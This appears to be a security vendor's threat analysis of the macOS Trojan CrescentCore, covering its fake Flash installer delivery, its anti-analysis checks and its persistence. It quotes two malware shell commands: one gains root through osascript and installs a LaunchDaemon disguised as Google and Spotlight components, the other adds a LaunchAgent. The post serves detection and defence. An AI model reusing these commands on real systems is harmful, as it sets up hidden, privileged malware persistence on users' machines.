In June of 2019, researchers at Intego discovered a new Trojan for macOS systems which they named CrescentCore. Much like Shlayer and other common malware targeting macOS systems, CrescentCore is often delivered via a fake Adobe Flash Player installer or updater. This malware employs multiple anti-analysis techniques such as VM and AV product detection. If certain products are detected (which are defined in JSON-formatted configuration files in the application directory), the malware will halt execution and exit. If installation completes successfully, CrescentCore installs a LaunchAgent and LaunchDaemon for persistence, and some variants have been observed to install additional malicious or unwanted software and browser extensions.

Behavioral Summary

All identified variants of CrescentCore are identified by VMware Carbon Black products as known malware and as such will be blocked by standard policies. Although this threat has not been seen recently in the wild, it could resurface at any time. This post serves to inform our customers about detection and protection capabilities within the VMware Carbon Black suite of products against CrescentCore malware for macOS.

The application contains two configuration files in its resources section, antiviruses.json and virtualmachines.json (depicted below), that define a set of AV and virtualization products that it will check for on the system before execution.

Figure 1: Sample antiviruses.json and virtualmachines.json

At least one variant has been observed to gain root access using the system tool osascript with the command line option “with administrator privileges” and then move the malicious application and plists from /tmp to the Library system directory and then to the user’s Library directory. The established LaunchDaemon and LaunchAgent establish persistence for the malware, causing the application to be started automatically when the system is started or rebooted.

sh -c osascript -e 'do shell script "mkdir \"/Library/Application Support/com.apple.spotlight.Core\";mv /tmp/ddd/Updater.app \"/Library/Application Support/com.apple.spotlight.Core\";mv /tmp/com.google.keystone.plist /Library/LaunchDaemons;launchctl load -w /Library/LaunchDaemons/com.google.keystone.plist;echo Passed" with administrator privileges'

sh -c main_dir_name="com.apple.spotlight.Core";app_name="Updater.app";plist_name="com.google.keystone.plist";mkdir $HOME/Library/$main_dir_name;mv /tmp/ddd/$app_name $HOME/Library/$main_dir_name;mv /tmp/$plist_name $HOME/Library/LaunchAgents;touch $HOME/Library/$main_dir_name/dax;launchctl load -w $HOME/Library/LaunchAgents/$plist_name;

Below is a screenshot of how the execution of osascript invoking a shell command with administrative privileges would appear in the CB Defense console:

Figure 2: Execution of osascript

To learn more, click here. 

Remediation:

MITRE ATT&CK TIDs

Indicators of Compromise (IOCs)